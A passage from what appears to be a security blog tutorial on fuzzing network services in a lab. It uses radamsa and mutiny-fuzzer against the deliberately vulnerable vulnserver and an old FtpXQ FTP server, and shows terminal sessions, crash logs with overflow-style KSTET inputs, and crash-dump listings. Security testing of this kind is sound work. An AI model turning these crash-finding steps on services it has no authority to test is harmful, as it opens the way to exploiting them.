9	0.006166782	10.0.2.15	192.168.1.10	TCP	56	38370 → 9999 [A

```

root@ubuntu18: /home/c/tools/radamsa
File Edit View Search Terminal Help
root@ubuntu18:/home/c# cd tools/radamsa/
root@ubuntu18:/home/c/tools/radamsa# nc 192.168.1.10 9999 < test_req01.txt
Welcome to Vulnerable Server! Enter HELP for help.
KSTET SUCCESSFUL

```

According to the docs[3] now we should save this *request* to the PCAP file. Let's do that:

Wireshark · Export Specified Packets

Look in: /home/c/tools/mutiny-fuzzer

Computer	Name	Size	Type
root	backend		Folde
	mutiny_classes		Folde
	radamsa-v0.6		Folde
	sample_apps		Folde
	tests		Folde
	util		Folde

File name: pcap02

Export as: Wireshark/tcpdump/... - pcap

Packet Range Com

Captured Displayed

<input type="radio"/> All packets	11	9
<input checked="" type="radio"/> Selected packets only	1	1

So far, so good. Let's continue below:

```
root@ubuntu18: /home/c/tools/mutiny-fuzzer
root@ubuntu18:/home/c/tools/mutiny-fuzzer# ./mutiny_prep.py pcap02.pcap
Processing pcap02.pcap...
Which port is the server listening on? (9999/38370)
Default 9999: 9999

    Message #0 - Processed 15 bytes outbound
Processed input file pcap02.pcap

How many times should a test case causing a crash or error be repeated?
Default 3:

When the test case is repeated above, how many seconds should it wait between tests?
Default 5: 2

Which protocol? (tcp/udp/layer3)
Default tcp: tcp

What port should the fuzzer connect to?
Default 9999:

Would you like to auto-generate a .fuzzer for each client message? (y/n)
Default n: y


Wrote .fuzzer file: pcap02-0.fuzzer

All files have been written.
root@ubuntu18:/home/c/tools/mutiny-fuzzer# █
```

Good. Checking ;]

The screenshot shows a terminal window on the left and a Windows VM window on the right. The terminal window displays the execution of a fuzzer test run. It shows the fuzzer reading data from a file, processing a message, and then performing a test run without fuzzing. The test run results in a network unreachable error (Errno 101). The Windows VM window shows the execution of a vulnerable server (vulnserver.exe) in WinDbg. The server starts, displays a warning about vulnerable software, and then crashes with a breakpoint (774.3f4) and an error message: "Symbol file not found for ntdll!LdrVerifyImage".

Waiting... ;]



Looks like we got it! ;) Checking logs generated by mutiny:

```
root@ubuntu18: /home/c/tools/mutiny-fuzzer/pcap02-0_logs/2021-01-07,115346
-rw-r--r-- 1 root root 210 sty 7 11:54 99
root@ubuntu18:/home/c/tools/mutiny-fuzzer/pcap02-0_logs/2021-01-07,115346# ls
0  10  102 12 15 18 20 23 26 29 31 34 37 4  42 45 48 50 53 56 59 61 64 67 7  72 75
1  100 103 13 16 19 21 24 27 3  32 35 38 40 43 46 49 51 54 57 6  62 65 68 70 73 76
-1 101 11 14 17 2  22 25 28 30 33 36 39 41 44 47 5  52 55 58 60 63 66 69 71 74 77
root@ubuntu18:/home/c/tools/mutiny-fuzzer/pcap02-0_logs/2021-01-07,115346# file 78
78: ASCII text, with very long lines
root@ubuntu18:/home/c/tools/mutiny-fuzzer/pcap02-0_logs/2021-01-07,115346# cat 78
Log from run with seed 78
Error message: LogAll

Packet 0: outbound fuzz 'KSTET AAAAAAAA\n'
Fuzzed Packet 0: fuzz outbound "KSTETKSTETKSTETKSTETKSTETKSTETKSTETKSTETKSTETKSTETKSTETK
cSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS
EEEEEEEEEEEEEEEEEEKSTETKSTETKSTETKSTETKSTETKSTETKSTETKSTETKSTETKSTETKSTETKSTETKSTETKSTETKSTETKSTETK
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TETKSTETKSTETKSTETKSTETKSTETKSTETKSTETKSTETKSTETKSTETKSTETKSTETKSTETKSTETKSTETKSTETKSTETKSTETKSTET
This is the last message sent


root@ubuntu18:/home/c/tools/mutiny-fuzzer/pcap02-0_logs/2021-01-07,115346# cat 98
Log from run with seed 98
Error message: LogAll

Packet 0: outbound fuzz 'KSTET AAAAAAAA\n'
Fuzzed Packet 0: fuzz outbound '\xef\x0\x9d\x9f\x96\xbc\x8f\x0e\xfe\xef\xfe\xef\xbf\xfb\xffjS\x0e\xfe\xef\x0
```


Great! ;) Let's continue in the next section below.

Packet Poked

I decided to recreate all of those steps this time for some „simple example network service” – guess what – yep, it will be FTP server ;) Here we go:



I use some very old FTP server I found available online (called FtpXQ). When it's installed we can create a 'simple request' to the ftp server. (I used a normal 'login as anonymous user' request ;).) After you'll pickup the packet you want from the PCAP file and prepare it using *mutiny_prep.py* script, you should be somewhere here:



As you can see below we can quickly grab some very first results:

dumpapp_0d80_2021-01-07_22-31-51-35...	1/7/2021 10:31 PM	DMP Fi
targetapp_0d80_2021-01-07_22-31-51-33...	1/7/2021 10:31 PM	Text Do
dumpapp_0d80_2021-01-07_22-31-46-05...	1/7/2021 10:31 PM	DMP Fi
targetapp_0d80_2021-01-07_22-31-46-03...	1/7/2021 10:31 PM	Text Do
dumpapp_0d80_2021-01-07_22-31-41-90...	1/7/2021 10:31 PM	DMP Fi
targetapp_0d80_2021-01-07_22-31-41-88...	1/7/2021 10:31 PM	Text Do
dumpapp_0d80_2021-01-07_22-31-36-93...	1/7/2021 10:31 PM	DMP Fi
targetapp_0d80_2021-01-07_22-31-36-91...	1/7/2021 10:31 PM	Text Do
dumpapp_0d80_2021-01-07_22-31-33-04...	1/7/2021 10:31 PM	DMP Fi
targetapp_0d80_2021-01-07_22-31-33-02...	1/7/2021 10:31 PM	Text Do
dumpapp_0d80_2021-01-07_22-31-28-97...	1/7/2021 10:31 PM	DMP Fi
targetapp_0d80_2021-01-07_22-31-28-94...	1/7/2021 10:31 PM	Text Do
dumpapp_0d80_2021-01-07_22-31-25-16...	1/7/2021 10:31 PM	DMP Fi
targetapp_0d80_2021-01-07_22-31-25-13...	1/7/2021 10:31 PM	Text Do
dumpapp_0d80_2021-01-07_22-31-20-92...	1/7/2021 10:31 PM	DMP Fi
targetapp_0d80_2021-01-07_22-31-20-90...	1/7/2021 10:31 PM	Text Do
dumpapp_0d80_2021-01-07_22-31-16-41...	1/7/2021 10:31 PM	DMP Fi
targetapp_0d80_2021-01-07_22-31-16-37...	1/7/2021 10:31 PM	Text Do
autorun.txt	1/7/2021 4:13 AM	Text Do

Looks pretty nice if you're looking for some quick results to investigate. Maybe you'll find it useful. ;)

Cheers!

References

Links and resources I found interesting when I was preparing this article:

[1 – Previous miniarts](#)

[2 – Download VulnServ](#)

[3 – Download radamsa](#)

[4 - Fuzzing automation with Windbg](#)

[3 - mutiny-fuzzer by Cisco Talos](#)

In The End



Thank you. I appreciate it.

It was a pleasure. ;]

[Cheers](#)

[o/](#)